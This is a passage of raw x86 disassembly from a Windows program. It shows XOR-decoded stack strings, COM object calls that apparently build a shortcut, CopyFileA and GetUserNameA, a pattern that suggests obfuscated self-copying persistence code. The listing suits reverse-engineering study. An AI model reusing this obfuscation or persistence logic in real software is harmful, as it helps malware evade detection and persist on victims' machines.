mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x738]
call fcn.0040fe10
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x750]
call fcn.0040fe10
sub esp, 0x18
lea eax, [ebp - 0xd0]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x16
mov byte [ebp - 4], 0x13
call fcn.0041a120
add esp, 0x18
test al, al
jne 0x42d6ea
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x42d6ea
lea eax, [ebp - 0x34]
push eax
push 0x556500
push 1
push 0
push 0x556530
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x42d6e4
mov edx, dword [ebp - 0x34]
cmp dword [ebp - 0x324], 0x10
mov eax, dword [edx]
mov ecx, dword [eax + 0x50]
lea eax, [ebp - 0x338]
cmovae eax, dword [ebp - 0x338]
push eax
push edx
call ecx
mov edx, dword [ebp - 0x34]
cmp dword [ebp - 0xd4], 0x10
mov eax, dword [edx]
mov ecx, dword [eax + 0x1c]
lea eax, [ebp - 0xe8]
cmovae eax, dword [ebp - 0xe8]
push eax
push edx
call ecx
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0x6c]
push edx
push 0x556510
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x42d6db
push 0x208
lea eax, [ebp - 0xbf8]
push 0
push eax
call fcn.005205e0
add esp, 0xc
lea ecx, [ebp - 0xbf8]
cmp dword [ebp - 0xbc], 0x10
lea eax, [ebp - 0xd0]
cmovae eax, dword [ebp - 0xd0]
push 0x104
push ecx
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x6c]
lea edx, [ebp - 0xbf8]
push 1
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xbc]
cmp ecx, 0x10
jb 0x42d728
mov edx, dword [ebp - 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42d71e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eaac
push ecx
push edx
call fcn.005083b1
add esp, 8
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x338]
call fcn.0040fe10
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xb8]
call fcn.0040fe10
mov dword [ebp - 0x28], 0x51a39974
mov dword [ebp - 0x24], 0xb512aef2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x28], 0x30571816
mov dword [ebp - 0x24], 0xf56a4079
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x4ac], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2b0]
mov dword [ebp - 0x4a8], eax
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x4a4], ecx
pxor xmm1, xmmword [ebp - 0x4b0]
push eax
movaps xmmword [ebp - 0x2b0], xmm1
call fcn.0052d011
mov edx, eax
add esp, 4
test edx, edx
je 0x42ea41
mov ecx, edx
mov dword [ebp - 0x3c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
movups xmmword [ebp - 0x4c], xmm0
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d830
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x4c]
call fcn.00410090
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x28], 0x4efd569
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x150]
mov dword [ebp - 0x4b4], ecx
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x4b8], eax
lea edx, [ecx + 1]
pxor xmm1, xmmword [ebp - 0x4c0]
movaps xmmword [ebp - 0x150], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d8e6
sub ecx, edx
lea eax, [ebp - 0x150]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.004ae3b0
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push dword [ebp - 0x90]
cmovae eax, dword [ebp - 0xa0]
lea ecx, [ebp - 0x4c]
push eax
call fcn.004ae3b0
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
cmovae ecx, dword [ebp - 0x4c]
call fcn.0041a220
test al, al
jne 0x42d995
cmp dword [ebp - 0x38], 0x10
lea edx, [ebp - 0x4c]
xorps xmm0, xmm0
mov dword [ebp - 0x698], 0
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
mov dword [ebp - 0x694], 0
movups xmmword [ebp - 0x6a8], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d964
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x6a8]
call fcn.00410090
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x6a8]
or dword [ebp - 0x2c], 2
call fcn.0042bf00
mov byte [ebp - 0x2d], 0
test al, al
je 0x42d999
mov byte [ebp - 0x2d], 1
mov dword [ebp - 4], 0x17
mov eax, dword [ebp - 0x2c]
test al, 2
je 0x42d9b8
and eax, 0xfffffffd
lea ecx, [ebp - 0x6a8]
mov dword [ebp - 0x2c], eax
call fcn.0040fe10
cmp byte [ebp - 0x2d], 0
je 0x42e9f7
mov dword [ebp - 0x28], 0x6197b01b
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov dword [ebp - 0x4d0], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4cc], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2c0]
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], ecx
pxor xmm1, xmmword [ebp - 0x4d0]
movaps xmmword [ebp - 0x2c0], xmm1
mov dword [ebp - 0x28], 0x4efd569
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4dc], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x160]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], ecx
pxor xmm1, xmmword [ebp - 0x4e0]
movaps xmmword [ebp - 0x160], xmm1
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x160]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42db00
sub ecx, edx
mov edx, dword [ebp - 0x3c]
sub edi, edx
cmp edi, ecx
jb 0x42eab1
cmp dword [ebp - 0x38], 0x10
lea eax, [ebp - 0x4c]
push ecx
cmovae eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x160]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x720]
call fcn.004b41d0
mov esi, dword [ebp - 0x2c]
or esi, 0x40
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
lea ecx, [ebp - 0x720]
push dword [ebp - 0x90]
cmovae eax, dword [ebp - 0xa0]
push eax
call fcn.004ae3b0
mov dword [ebp - 0x528], 0
lea edx, [ebp - 0x538]
mov dword [ebp - 0x524], 0
lea ecx, [ebp - 0x88]
xorps xmm0, xmm0
or esi, 0x80
movups xmmword [ebp - 0x538], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x538], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x528], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2c0]
push eax
mov dword [ebp - 0x2c], esi
call fcn.004b01e0
add esp, 4
mov byte [ebp - 4], 0x1b
and esi, 0xffffff7f
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x538]
call fcn.0040fe10
and esi, 0xffffffbf
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x720]
call fcn.0040fe10
sub esp, 0x18
lea eax, [ebp - 0x88]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x1e
mov byte [ebp - 4], 0x1d
call fcn.0041a120
add esp, 0x18
test al, al
jne 0x42e8ff
cmp dword [ebp - 0x74], 0x10
lea ecx, [ebp - 0x88]
push 0
cmovae ecx, dword [ebp - 0x88]
lea eax, [ebp - 0x1f0]
cmp dword [ebp - 0x1dc], 0x10
push ecx
cmovae eax, dword [ebp - 0x1f0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x42e8ff
push 0x104
lea eax, [ebp - 0x8e8]
mov dword [ebp - 0x70], 0x104
push 0
push eax
call fcn.005205e0
add esp, 0xc
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x8e8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x28], 0x26bd9d15
mov dword [ebp - 0x24], 0x8533c481
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x28], 0x23570266
mov dword [ebp - 0x24], 0xd5764062
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x28], 0x6fd3d928
mov dword [ebp - 0x24], 0xad30a11f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x28], 0x663dd4ad
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5b4], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5b0], eax
mov dword [ebp - 0x5ac], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x380]
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5a4], ecx
vpxor ymm0, ymm0, ymmword [ebp - 0x5c0]
vmovdqa ymmword [ebp - 0x380], ymm0
mov dword [ebp - 0x28], 0x70c0f517
mov dword [ebp - 0x24], 0xe662cbcf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x28], 0x76184a46
vxorps xmm0, xmm0, xmm0
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x4e4], ecx
mov dword [ebp - 0x4e8], eax
vpxor xmm1, xmm1, xmmword [ebp - 0x4f0]
vmovaps xmmword [ebp - 0x240], xmm1
mov dword [ebp - 0x28], 0x70c0f517
mov dword [ebp - 0x24], 0xe662cbd3
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovaps xmm1, xmmword [ebp - 0x2d0]
mov dword [ebp - 0x4f4], ecx
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x4f8], eax
lea edx, [ecx + 1]
vpxor xmm1, xmm1, xmmword [ebp - 0x500]
vmovaps xmmword [ebp - 0x2d0], xmm1
vmovups xmmword [ebp - 0x320], xmm0
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 0
vzeroupper
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42df10
sub ecx, edx
lea eax, [ebp - 0x8e8]
push ecx
push eax
lea ecx, [ebp - 0x320]
call fcn.00410090
mov byte [ebp - 4], 0x1f
lea edx, [ebp - 0x360]
mov dword [ebp - 0x28], 0x7087b646
mov dword [ebp - 0x24], 0x952b98c0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x28], 0x47b6566
mov dword [ebp - 0x24], 0x905b6d55
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x28], 0x6fd98427
mov dword [ebp - 0x24], 0xc522ba78
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x28], 0x666987ca
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5e0], eax
mov dword [ebp - 0x5dc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x5d4], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x360]
mov dword [ebp - 0x5c8], eax
lea eax, [ebp - 0x320]
mov dword [ebp - 0x5c4], ecx
lea ecx, [ebp - 0x798]
vpxor ymm0, ymm0, ymmword [ebp - 0x5e0]
vmovdqa ymmword [ebp - 0x360], ymm0
push eax
vzeroupper
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x2d0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x780]
call fcn.004b01e0
add esp, 4
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
push dword [ebp - 0x78]
cmovae ecx, dword [ebp - 0x88]
push ecx
mov ecx, eax
call fcn.004ae3b0
mov esi, dword [ebp - 0x2c]
lea edx, [ebp - 0x1c0]
mov dword [ebp - 0x1b0], 0
lea ecx, [ebp - 0x768]
mov dword [ebp - 0x1ac], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1c0], xmm0
or esi, 0x100
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1c0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1b0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x240]
push eax
mov dword [ebp - 0x2c], esi
call fcn.004b01e0
add esp, 4
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
push dword [ebp - 0x90]
cmovae ecx, dword [ebp - 0xa0]
push ecx
mov ecx, eax
call fcn.004ae3b0
mov dword [ebp - 0x168], 0
lea edx, [ebp - 0x178]
mov dword [ebp - 0x164], 0
lea ecx, [ebp - 0x6d8]
xorps xmm0, xmm0
or esi, 0x200
movups xmmword [ebp - 0x178], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x178], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x168], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x380]
push eax
mov dword [ebp - 0x2c], esi
call fcn.004b01e0
add esp, 4
mov byte [ebp - 4], 0x25
and esi, 0xfffffdff
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x164]
cmp ecx, 0x10
jb 0x42e1e9
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e1df
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eab6
push ecx
push edx
call fcn.005083b1
add esp, 8
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x768]
call fcn.0040fe10
and esi, 0xfffffeff
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x1ac]
cmp ecx, 0x10
jb 0x42e25a
mov edx, dword [ebp - 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e250
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eab6
push ecx
push edx
call fcn.005083b1
add esp, 8
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1ac], 0xf
mov byte [ebp - 0x1c0], 0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x780]
call fcn.0040fe10
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x798]
call fcn.0040fe10
mov byte [ebp - 4], 0x2b
mov ecx, dword [ebp - 0x30c]
cmp ecx, 0x10
jb 0x42e2d1
mov edx, dword [ebp - 0x320]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e2c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eab6
push ecx
push edx
call fcn.005083b1
add esp, 8
cmp dword [ebp - 0x6c4], 0x10
lea ecx, [ebp - 0x6d8]
mov dword [ebp - 0x310], 0
cmovae ecx, dword [ebp - 0x6d8]
mov dword [ebp - 0x30c], 0xf
mov byte [ebp - 0x320], 0
call fcn.0042c180
mov dword [ebp - 0x28], 0x26a89915
mov dword [ebp - 0x24], 0x8533c481
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x28], 0x3a560566
mov dword [ebp - 0x24], 0xbb604b7f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], ecx
mov dword [ebp - 0x28], 0x23cd8427
mov dword [ebp - 0x24], 0xa23ea077
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], ecx
mov dword [ebp - 0x28], 0x323ac2a0
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x5fc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x5f4], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x3c0]
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], ecx
vpxor ymm0, ymm0, ymmword [ebp - 0x600]
vmovdqa ymmword [ebp - 0x3c0], ymm0
mov dword [ebp - 0x28], 0x70c0f517
mov dword [ebp - 0x24], 0xe662cbcf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov dword [ebp - 0x510], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x50c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x508], eax
vmovaps xmm1, xmmword [ebp - 0x200]
vxorps xmm0, xmm0, xmm0
mov dword [ebp - 0x504], ecx
vpxor xmm1, xmm1, xmmword [ebp - 0x510]
vmovaps xmmword [ebp - 0x200], xmm1
mov dword [ebp - 0x28], 0x70c0f517
mov dword [ebp - 0x24], 0xe662cbd3
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovaps xmm1, xmmword [ebp - 0x2f0]
mov dword [ebp - 0x474], ecx
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x478], eax
lea edx, [ecx + 1]
vpxor xmm1, xmm1, xmmword [ebp - 0x480]
vmovaps xmmword [ebp - 0x2f0], xmm1
vmovups xmmword [ebp - 0x678], xmm0
mov dword [ebp - 0x668], 0
mov dword [ebp - 0x664], 0
vzeroupper
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42e580
sub ecx, edx
lea eax, [ebp - 0x8e8]
push ecx
push eax
lea ecx, [ebp - 0x678]
call fcn.00410090
mov byte [ebp - 4], 0x2c
lea edx, [ebp - 0x3a0]
mov dword [ebp - 0x28], 0x7087b646
mov dword [ebp - 0x24], 0x952b98c0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x28], 0x47b6566
mov dword [ebp - 0x24], 0x905b6d55
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x28], 0x6fd98427
mov dword [ebp - 0x24], 0xc522ba78
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x28], 0x666987ca
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x3a0]
